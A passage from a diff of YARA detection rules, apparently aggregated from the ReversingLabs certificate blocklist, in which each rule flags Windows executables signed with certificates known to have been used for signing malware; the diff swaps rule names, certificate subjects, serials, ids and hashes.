"7a:63:2a:6e:cf:c6:c4:9e:c1:f4:2f:76" and 1474959780 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PROFF LAIN, OOO" and pe.signatures [ i ] . serial == "09:40:fa:9a:40:80:f3:50:52:b2:07:73:33:76:9c:2f" and 1603497600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_F57Df6A6Eee3854D513D0Ba8585049B7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ea720222D92Dc8D48E3B3C3B0Fc360A6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b31f73d5-ff9e-5be7-b806-8838ddb5d29d" + id = "8415406b-ede8-5404-8208-34eb649f7325" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13892-L13910" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7940-L7958" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "09d5998960fb65eda56cd698c5ff50d87ba7a811cbb128bc7485c0f124e14cba" + logic_hash = "c60e1ccf178f03f930a3bc41e9a92be20df0362f067ed1fcfc7c93627a056d75" score = 75 quality = 90 tags = "INFO, FILE" @@ -25589,21 +47983,21 @@ rule REVERSINGLABS_Cert_Blocklist_F57Df6A6Eee3854D513D0Ba8585049B7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "smnetworks" and ( pe.signatures [ i ] . serial == "00:f5:7d:f6:a6:ee:e3:85:4d:51:3d:0b:a8:58:50:49:b7" or pe.signatures [ i ] . serial == "f5:7d:f6:a6:ee:e3:85:4d:51:3d:0b:a8:58:50:49:b7" ) and 1277769600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CAVANAGH NETS LIMITED" and ( pe.signatures [ i ] . serial == "00:ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6" or pe.signatures [ i ] . serial == "ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6" ) and 1608640280 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Ac5Ac5D323122E6D8E92D6E191B1432 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4743E140C05B33F0449023946Bd05Acb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9a363a84-c21c-5afe-9812-9ce16962b28a" + id = "f783bad3-f350-5a74-8e3f-5b7220e4de8f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13912-L13928" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7960-L7976" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d5e62d3cdfacfaea70f9ee11230501bb9c4099508077d50a2a143cb69476f02a" + logic_hash = "69ce1512d7df4926ee2b470b18fbe51a2aa81e07b37b2536617d6353045e0d19" score = 75 quality = 90 tags = "INFO, FILE" @@ -25613,21 +48007,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Ac5Ac5D323122E6D8E92D6E191B1432 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Certified Software" and pe.signatures [ i ] . serial == "0a:c5:ac:5d:32:31:22:e6:d8:e9:2d:6e:19:1b:14:32" and 1140134400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STROI RENOV SARL" and pe.signatures [ i ] . serial == "47:43:e1:40:c0:5b:33:f0:44:90:23:94:6b:d0:5a:cb" and 1607644800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2433D9Df7Efbccb870Ee5904D62A0101 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_A496Bc774575C31Abec861B68C36Dcb6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6cd46771-06ea-51c9-ad84-4b28f4f8442b" + id = "51941c0d-a7a1-5c17-bef8-290e5db66fb7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13930-L13946" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7978-L7996" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "92a2effe1b94345f52130e4cb1db181f1990e58eaefb9c74375c14249cc1be22" + logic_hash = "f82214f982c9972e547f77966c44e935e9de701cc9108ceca34a4fede850d243" score = 75 quality = 90 tags = "INFO, FILE" @@ -25637,21 +48031,21 @@ rule REVERSINGLABS_Cert_Blocklist_2433D9Df7Efbccb870Ee5904D62A0101 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Conpavi AG" and pe.signatures [ i ] . serial == "24:33:d9:df:7e:fb:cc:b8:70:ee:59:04:d6:2a:01:01" and 1322438400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ORGLE DVORSAK, d.o.o" and ( pe.signatures [ i ] . serial == "00:a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6" or pe.signatures [ i ] . serial == "a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6" ) and 1606867200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_462Baada57570F70Df76D10B9E7Bf2B7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A55C15F733Bf1633E9Ffae8A6E3B37D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2863a050-ebce-5322-b64a-9160adf6cc21" + id = "32cefe84-b305-5542-a5d3-1832dcbf6d61" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13948-L13964" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7998-L8014" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c48207907339ce3fb7b6bc630097761a24495a9d4e69d421f2bdb36ddc92abcb" + logic_hash = "89ca9f1c5cf0b029748528d8c5bb65f89ee05877bfdc13b4ce3d2d3e7feafb5d" score = 75 quality = 90 tags = "INFO, FILE" @@ -25661,21 +48055,21 @@ rule REVERSINGLABS_Cert_Blocklist_462Baada57570F70Df76D10B9E7Bf2B7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "46:2b:aa:da:57:57:0f:70:df:76:d1:0b:9e:7b:f2:b7" and 1551744000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Osnova OOO" and pe.signatures [ i ] . serial == "0a:55:c1:5f:73:3b:f1:63:3e:9f:fa:e8:a6:e3:b3:7d" and 1604016000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_83320D93Dd8Cf16D11F99B1078B0A7Cb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C650Ae531100A91389A7F030228B3095 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "12ce9be9-4644-5b59-aed2-ce4b04fcc46a" + id = "5d506480-96ca-5e71-9fb2-185b2f8ddc6c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13966-L13984" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8016-L8034" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "94ec5e05357767cc0c4cd1fc8ff6d1a366359ba699c43f3710204d761e7e707f" + logic_hash = "186b66283491cfebcaade57b1010ce4304c08ddb131153984210c2c7025961aa" score = 75 quality = 90 tags = "INFO, FILE" @@ -25685,21 +48079,21 @@ rule REVERSINGLABS_Cert_Blocklist_83320D93Dd8Cf16D11F99B1078B0A7Cb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:83:32:0d:93:dd:8c:f1:6d:11:f9:9b:10:78:b0:a7:cb" or pe.signatures [ i ] . serial == "83:32:0d:93:dd:8c:f1:6d:11:f9:9b:10:78:b0:a7:cb" ) and 1524614400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POKEROWA STRUNA SP Z O O" and ( pe.signatures [ i ] . serial == "00:c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95" or pe.signatures [ i ] . serial == "c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95" ) and 1606089600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_10Bae1D20Cb4Cc36A0Ffac86 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3990362C34015Ce4C23Ecc3377Fd3C06 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a07d1c35-0026-526a-bf08-e6b07008da03" + id = "453b5da2-ae26-5005-8a56-1105a960fde6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13986-L14002" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8036-L8052" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "44e91fbf4da8e81859a21408ee9f1971f1e8f48d22553fcaa6469156d4a0670b" + logic_hash = "0625800fcb166b56cab2e16d0d757983a6f880b68627ed8c3c38419dd9a32999" score = 75 quality = 90 tags = "INFO, FILE" @@ -25709,21 +48103,21 @@ rule REVERSINGLABS_Cert_Blocklist_10Bae1D20Cb4Cc36A0Ffac86 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "10:ba:e1:d2:0c:b4:cc:36:a0:ff:ac:86" and 1476773830 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RZOH ApS" and pe.signatures [ i ] . serial == "39:90:36:2c:34:01:5c:e4:c2:3e:cc:33:77:fd:3c:06" and 1606780800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_230716Bfe915Dd6203B2E2A35674C2Ee : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "849c390e-f81f-558e-88a3-19242c127a56" + id = "ebc47e1e-e6fe-581c-86b3-22e2e67a0b81" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14004-L14020" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8054-L8070" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0197ff46ceb1017488da4383436fd0ddc375904f36cc16c5a8ef21d633ec387c" + logic_hash = "1edd5be3f970202be15080cd7ef19c0cce7fcba73cb6120d7cb7d518e877cf85" score = 75 quality = 90 tags = "INFO, FILE" @@ -25733,21 +48127,21 @@ rule REVERSINGLABS_Cert_Blocklist_230716Bfe915Dd6203B2E2A35674C2Ee : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "23:07:16:bf:e9:15:dd:62:03:b2:e2:a3:56:74:c2:ee" and 1472169600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kymijoen Projektipalvelut Oy" and pe.signatures [ i ] . serial == "12:1f:ca:3c:fa:4b:d0:11:66:9f:5c:c4:e0:53:aa:3f" and 1606953600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_36A77D37E68E02Fd3D043C7197E044Ca : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D338F8A490E37E6C2Be80A0E349929Fa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "721e48fb-3046-5b2d-8ad9-ae340e598794" + id = "93ca450e-7278-5c6c-aba8-e90728570e0c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14022-L14038" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8072-L8090" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fc13ac5880cc2c8eac9ff8d09f6c5c2055b2de54d460a284936a4f6cd78192e8" + logic_hash = "39d9695803e96508b5ad12a7d9f8b65d13288dbe94b21a4952e096dd576e11ce" score = 75 quality = 90 tags = "INFO, FILE" @@ -25757,21 +48151,21 @@ rule REVERSINGLABS_Cert_Blocklist_36A77D37E68E02Fd3D043C7197E044Ca : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Direct Systems Ltd" and pe.signatures [ i ] . serial == "36:a7:7d:37:e6:8e:02:fd:3d:04:3c:71:97:e0:44:ca" and 1515542400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAGUARO ApS" and ( pe.signatures [ i ] . serial == "00:d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa" or pe.signatures [ i ] . serial == "d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa" ) and 1607558400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_73Bff2Fb714F986C1707165F0B0F2E0E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2C1Ee9B583310B5E34A1Ee6945A34B26 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f014b446-0ddc-51df-898c-200bd60181a0" + id = "70fc063e-f032-5e63-ae53-65a25d5a29c3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14040-L14056" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8092-L8108" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d79ab926cbc0049d39f5f4c6e57afc71b1a30311a4816fdb66a9c2e257cc84af" + logic_hash = "7752e49e8848863d78c5de03c3d194498765d80da00a84c5164c7a9010d13474" score = 75 quality = 90 tags = "INFO, FILE" @@ -25781,21 +48175,21 @@ rule REVERSINGLABS_Cert_Blocklist_73Bff2Fb714F986C1707165F0B0F2E0E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tecnopolis Consulting Ltd" and pe.signatures [ i ] . serial == "73:bf:f2:fb:71:4f:98:6c:17:07:16:5f:0b:0f:2e:0e" and 1090886400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Artmarket" and pe.signatures [ i ] . serial == "2c:1e:e9:b5:83:31:0b:5e:34:a1:ee:69:45:a3:4b:26" and 1607558400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_33B24170694Ca0Cf4D2Bdf4Aadf475A3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D875B3E3F2Db6C3Eb426E24946066111 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c02d7aaf-e88a-5aba-a8ee-db34562e53b1" + id = "4aedeb77-181b-5422-bec4-93c84412bae4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14058-L14074" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8110-L8128" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "795bcb46b41ded084e4d12d98e335748ec1db3e0abbbb2d933e819d955075138" + logic_hash = "9e181271d46c828b9ec266331e077b3b4891a193c71173447da383fad91ae878" score = 75 quality = 90 tags = "INFO, FILE" @@ -25805,21 +48199,21 @@ rule REVERSINGLABS_Cert_Blocklist_33B24170694Ca0Cf4D2Bdf4Aadf475A3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "33:b2:41:70:69:4c:a0:cf:4d:2b:df:4a:ad:f4:75:a3" and 1474934400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kubit LLC" and ( pe.signatures [ i ] . serial == "00:d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11" or pe.signatures [ i ] . serial == "d8:75:b3:e3:f2:db:6c:3e:b4:26:e2:49:46:06:61:11" ) and 1606953600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3A9Bdec10E00E780316Baaebfe7A772C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ad0A958Cdf188Bed43154A54Bf23Afba : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "56f62454-84a1-5843-b2f4-fa84b37040f3" + id = "183d9d02-885b-5f2f-b455-dd72af7bc5a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14076-L14092" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8130-L8148" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ea9bc11efd2969f6b7112338f2b084ea3551e072e46b1162bd47b08be549cdd4" + logic_hash = "07e53e59f90aa3cd3a98dbca2627672606f6c6f8f3bda8456e32122463729c4b" score = 75 quality = 90 tags = "INFO, FILE" @@ -25829,21 +48223,21 @@ rule REVERSINGLABS_Cert_Blocklist_3A9Bdec10E00E780316Baaebfe7A772C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PLAN ALPHA LIMITED" and pe.signatures [ i ] . serial == "3a:9b:de:c1:0e:00:e7:80:31:6b:aa:eb:fe:7a:77:2c" and 1556582400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RHM Ltd" and ( pe.signatures [ i ] . serial == "00:ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" or pe.signatures [ i ] . serial == "ad:0a:95:8c:df:18:8b:ed:43:15:4a:54:bf:23:af:ba" ) and 1612915200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Cad9C37F7Affa8F4D8229F97607E265 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Cee26C125B8C188F316C3Fa78D9C2F1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dae6b474-e4f0-5c73-b32e-d2680f508799" + id = "79989b9b-60e4-577d-97e2-cb447c38baf3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14094-L14110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8150-L8166" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0f88989c64bece23e7eccf8022e038fdd9c360766de71268cf71616f74adc56c" + logic_hash = "5c64f8e40c31822ce8d2e34f96ccc977085e429f0c068a5f6b44099117837de1" score = 75 quality = 90 tags = "INFO, FILE" @@ -25853,21 +48247,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Cad9C37F7Affa8F4D8229F97607E265 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Funbit" and pe.signatures [ i ] . serial == "7c:ad:9c:37:f7:af:fa:8f:4d:82:29:f9:76:07:e2:65" and 1122508800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bitubit LLC" and pe.signatures [ i ] . serial == "3c:ee:26:c1:25:b8:c1:88:f3:16:c3:fa:78:d9:c2:f1" and 1606435200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_098A57 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4C687A0022C36F89E253F91D1F6954E2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4604f1a6-2fdb-5917-943d-f0e2dbaaa29e" + id = "c45a2125-dd7c-5ff1-89a8-35cbe1d924d7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14112-L14128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8168-L8184" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5e203f87dd4608ba5d583e02ce86fbe230e45fff86a7a697766e149d0cf6f436" + logic_hash = "287c0c7a25e33e0e7def6efa23dbd2efba7c4ac3aa8f5deb8568a60a95e08bbe" score = 75 quality = 90 tags = "INFO, FILE" @@ -25877,21 +48271,21 @@ rule REVERSINGLABS_Cert_Blocklist_098A57 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ELECTRONIC GROUP" and pe.signatures [ i ] . serial == "09:8a:57" and 1032855179 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HETCO ApS" and pe.signatures [ i ] . serial == "4c:68:7a:00:22:c3:6f:89:e2:53:f9:1d:1f:69:54:e2" and 1606780800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5389Cc6286Da3Bfa1Dc4Df498Bf68361 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ca646B4275406Df639Cf603756F63D77 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "973aaf33-25a2-5f40-a5a7-d9f77e3589b3" + id = "b176b7f8-e3d1-593c-91c3-03e781f6ef7b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14130-L14146" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8186-L8204" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d25d998c980f47f4da065155451503dcbc677ad041af85a6ed7060ecadec66b3" + logic_hash = "a690e3f6a656835984e47d999271fe441a5fbf424208da8d5b3c9ddcef47b70e" score = 75 quality = 90 tags = "INFO, FILE" @@ -25901,21 +48295,21 @@ rule REVERSINGLABS_Cert_Blocklist_5389Cc6286Da3Bfa1Dc4Df498Bf68361 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Joerm.com" and pe.signatures [ i ] . serial == "53:89:cc:62:86:da:3b:fa:1d:c4:df:49:8b:f6:83:61" and 1495497600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SHOECORP LIMITED" and ( pe.signatures [ i ] . serial == "00:ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" or pe.signatures [ i ] . serial == "ca:64:6b:42:75:40:6d:f6:39:cf:60:37:56:f6:3d:77" ) and 1605830400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ed9Caeb7911B31Bd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Addbec454B5479Cabd940A72Df4500Af : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1eeff730-c2ce-5689-a8cb-455618738a82" + id = "f2488d44-5a9a-5ab6-be6f-f3444f72444a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = 